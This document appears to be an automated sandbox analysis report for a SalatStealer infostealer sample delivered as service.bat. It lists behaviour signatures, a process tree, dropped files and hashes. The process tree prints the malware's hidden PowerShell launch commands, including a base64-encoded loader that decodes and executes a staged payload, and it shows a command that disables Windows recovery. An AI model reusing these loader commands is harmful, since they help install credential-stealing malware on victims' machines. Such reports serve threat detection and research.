Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/10/2026, 04:49

General

  • Target
    service.bat
  • Size 4.6MB
  • Sample261030-ffpvtadc52
  • SHA256 8fa063aad55c3f1c363b8e20c9b47b107f201d5eab1c9355b26db67c74f6b4c7
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

  • Detect SalatStealer payload 15 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • UPX packed file 20 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 5 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 5 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 49 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\service.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1960
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -c "$p=$env:LCBAT; Start-Process -WindowStyle Hidden -FilePath $env:ComSpec -ArgumentList @('/c',([char]34+$p+[char]34),'h')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2684
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\service.bat" h
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3132
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -NonI -W Hidden -Exec Bypass -e "JABmAD0AWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAKwAnAGwAYwBfADMANQA0ADgAXwAxADcAOAA5ADIAMQA4ADMAOAA4ADgANAA4ADAAMQA3ADIAMAAwAC4AbAA2ADQAJwA7ACQAdAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGYAKQAtAHIAZQBwAGwAYQBjAGUAJwBbAFwAcgBcAG4AXQAnACwAJwAnADsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAKQApACkA"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:840
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ungsbm4b\ungsbm4b.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:5796
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8D52.tmp" "c:\Users\Admin\AppData\Local\Temp\ungsbm4b\CSC61278B13CC104E01A3302C57BE54E0EE.TMP"
              6⤵
                PID:5016
            • C:\Users\Admin\AppData\Local\Temp\p_55cb1b13-bf34-49f7-9d39-35becbd0d791.exe
              "C:\Users\Admin\AppData\Local\Temp\p_55cb1b13-bf34-49f7-9d39-35becbd0d791.exe"
              5⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:1448
              • C:\Program Files (x86)\Mozilla Maintenance Service\ctfmon.exe
                "C:\Program Files (x86)\Mozilla Maintenance Service\ctfmon.exe"
                6⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2604
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe
                  7⤵
                  • UAC bypass
                  • Badlisted process makes network request
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1688
                  • C:\Windows\SysWOW64\ReAgentc.exe
                    "C:\Windows\system32\ReAgentc.exe" /disable
                    8⤵
                    • Drops file in System32 directory
                    • Drops file in Windows directory
                    • System Location Discovery: System Language Discovery
                    PID:4872
                • C:\Program Files (x86)\Microsoft\Edge\Application\ctfmon.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\ctfmon.exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:4944
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:6064
      • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
        1⤵
          PID:5084
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
          1⤵
            PID:1692

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 4e14a7b28afff95b70ba849207619ff903c6ea821b8cf2c12b589579a7d7d3af
                • MD5 SHA1 SHA512 TLSH

                RES8D52.tmp

                • Path C:\Users\Admin\AppData\Local\Temp\RES8D52.tmp
                • Size 1KB
                • SHA256 7e945938f3155cdb6c0f0e7e96cf09518d45e802c535a21ac212b90283b2fb3a
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_1ucogjyg.gyi.psm1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1ucogjyg.gyi.psm1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                lc_3548_1789218388848017200.b64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
                • Size 4.6MB
                • SHA256 3da2c0a994bf3f0c6a1a7a76ecff6c1a31eeec96be03bc86874909a43d929eec
                • MD5 SHA1 SHA512 SSDEEP TLSH

                lc_3548_1789218388848017200.l64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.l64
                • Size 10KB
                • SHA256 4798a29f55cd8200581123ae2aaa40a4657edd358b7b5b2831506e41663cc293
                • MD5 SHA1 SHA512 SSDEEP TLSH

                p_55cb1b13-bf34-49f7-9d39-35becbd0d791.exe

                • Path C:\Users\Admin\AppData\Local\Temp\p_55cb1b13-bf34-49f7-9d39-35becbd0d791.exe
                • Size 3.4MB
                • SHA256 2d14c4c6626d132fceb3e7639a344875db53c10b39a32f0069c3d9453720cd88
                • MD5 SHA1 SHA512 SSDEEP TLSH

                ungsbm4b.dll

                • Path C:\Users\Admin\AppData\Local\Temp\ungsbm4b\ungsbm4b.dll
                • Size 5KB
                • SHA256 ed1da1c4dd4281e01ed079b17d06554b4dc285bfeac3322ba39be04d20c976c5
                • MD5 SHA1 SHA512 SSDEEP TLSH

                CSC61278B13CC104E01A3302C57BE54E0EE.TMP

                • Path \??\c:\Users\Admin\AppData\Local\Temp\ungsbm4b\CSC61278B13CC104E01A3302C57BE54E0EE.TMP
                • Size 652B
                • SHA256 1fcf73df1e39f0aedbf4b7349a9f356c4f13319d8af85dda82fddc1895291ada
                • MD5 SHA1 SHA512 TLSH

                ungsbm4b.0.cs

                • Path \??\c:\Users\Admin\AppData\Local\Temp\ungsbm4b\ungsbm4b.0.cs
                • Size 2KB
                • SHA256 f48c932311da4613b034f7a793b257a73ccd428c9c8758b19d312b7d208f3852
                • MD5 SHA1 SHA512 TLSH

                ungsbm4b.cmdline

                • Path \??\c:\Users\Admin\AppData\Local\Temp\ungsbm4b\ungsbm4b.cmdline
                • Size 369B
                • SHA256 65dfcc2c1ef8b3711e5da2aa304f8dcdc062c916170a24fd3bc1df404628f6c5
                • MD5 SHA1 SHA512 TLSH

                memory/840-826-0x00007FFAFC750000-0x00007FFAFD0F4000-memory.dmp

                memory/840-825-0x00007FFAFC750000-0x00007FFAFD0F4000-memory.dmp

                memory/840-821-0x00007FFAFC750000-0x00007FFAFD0F4000-memory.dmp

                memory/840-822-0x00007FFAFC750000-0x00007FFAFD0F4000-memory.dmp

                memory/840-816-0x00007FFAFC750000-0x00007FFAFD0F4000-memory.dmp

                memory/840-824-0x00007FFAFC750000-0x00007FFAFD0F4000-memory.dmp

                memory/840-840-0x000001EA94FD0000-0x000001EA94FD8000-memory.dmp

                memory/840-823-0x00007FFAFC750000-0x00007FFAFD0F4000-memory.dmp

                memory/840-817-0x00007FFAFC750000-0x00007FFAFD0F4000-memory.dmp

                memory/840-815-0x00007FFAFC750000-0x00007FFAFD0F4000-memory.dmp

                memory/840-852-0x00007FFAFC750000-0x00007FFAFD0F4000-memory.dmp

                memory/1448-853-0x0000000000D30000-0x0000000001985000-memory.dmp

                memory/1448-854-0x0000000000D30000-0x0000000001985000-memory.dmp

                memory/1448-855-0x0000000000D30000-0x0000000001985000-memory.dmp

                memory/1448-863-0x0000000000D30000-0x0000000001985000-memory.dmp

                memory/1448-850-0x0000000000D30000-0x0000000001985000-memory.dmp

                memory/1688-895-0x00000000074C0000-0x0000000007556000-memory.dmp

                memory/1688-870-0x0000000002570000-0x00000000025A6000-memory.dmp

                memory/1688-898-0x0000000008630000-0x0000000008BEA000-memory.dmp

                memory/1688-897-0x00000000078E0000-0x0000000007902000-memory.dmp

                memory/1688-892-0x00000000079F0000-0x000000000806C000-memory.dmp

                memory/1688-891-0x0000000007290000-0x0000000007333000-memory.dmp

                memory/1688-894-0x0000000007410000-0x000000000741A000-memory.dmp

                memory/1688-890-0x0000000007270000-0x0000000007290000-memory.dmp

                memory/1688-893-0x00000000073B0000-0x00000000073CA000-memory.dmp

                memory/1688-879-0x0000000005A90000-0x0000000005DEB000-memory.dmp

                memory/1688-887-0x0000000070BB0000-0x0000000070F0B000-memory.dmp

                memory/1688-886-0x0000000070A50000-0x0000000070A9C000-memory.dmp

                memory/1688-885-0x0000000007230000-0x0000000007266000-memory.dmp

                memory/1688-884-0x0000000006DD0000-0x0000000006E18000-memory.dmp

                memory/1688-882-0x0000000005EA0000-0x0000000005EEC000-memory.dmp

                memory/1688-881-0x0000000005DF0000-0x0000000005E0E000-memory.dmp

                memory/1688-873-0x00000000050B0000-0x00000000056FA000-memory.dmp

                memory/1688-874-0x0000000005000000-0x0000000005022000-memory.dmp

                memory/1688-875-0x00000000057F0000-0x0000000005856000-memory.dmp

                memory/1688-876-0x0000000005860000-0x00000000058C6000-memory.dmp

                memory/2604-865-0x0000000000A30000-0x0000000001685000-memory.dmp

                memory/2604-896-0x0000000000A30000-0x0000000001685000-memory.dmp

                memory/2604-914-0x0000000000A30000-0x0000000001685000-memory.dmp

                memory/2604-913-0x0000000000A30000-0x0000000001685000-memory.dmp

                memory/2604-912-0x0000000000A30000-0x0000000001685000-memory.dmp

                memory/2604-911-0x0000000000A30000-0x0000000001685000-memory.dmp

                memory/2604-910-0x0000000000A30000-0x0000000001685000-memory.dmp

                memory/2604-909-0x0000000000A30000-0x0000000001685000-memory.dmp

                memory/2604-864-0x0000000000A30000-0x0000000001685000-memory.dmp

                memory/2604-862-0x0000000000A30000-0x0000000001685000-memory.dmp

                memory/2604-908-0x0000000000A30000-0x0000000001685000-memory.dmp

                memory/2604-907-0x0000000000A30000-0x0000000001685000-memory.dmp

                memory/2684-8-0x00007FFAFC750000-0x00007FFAFD0F4000-memory.dmp

                memory/2684-4-0x00007FFAFC750000-0x00007FFAFD0F4000-memory.dmp

                memory/2684-5-0x00007FFAFC750000-0x00007FFAFD0F4000-memory.dmp

                memory/2684-3-0x000002B834DE0000-0x000002B834E02000-memory.dmp

                memory/2684-0-0x00007FFAFC8DF000-0x00007FFAFC8E0000-memory.dmp

                memory/2684-6-0x00007FFAFC750000-0x00007FFAFD0F4000-memory.dmp

                memory/2684-7-0x00007FFAFC750000-0x00007FFAFD0F4000-memory.dmp

                memory/2684-9-0x00007FFAFC750000-0x00007FFAFD0F4000-memory.dmp

                memory/2684-10-0x00007FFAFC750000-0x00007FFAFD0F4000-memory.dmp

                memory/2684-11-0x00007FFAFC750000-0x00007FFAFD0F4000-memory.dmp

                memory/2684-13-0x00007FFAFC750000-0x00007FFAFD0F4000-memory.dmp

                memory/4944-872-0x0000000000510000-0x0000000001165000-memory.dmp

                memory/4944-883-0x0000000000510000-0x0000000001165000-memory.dmp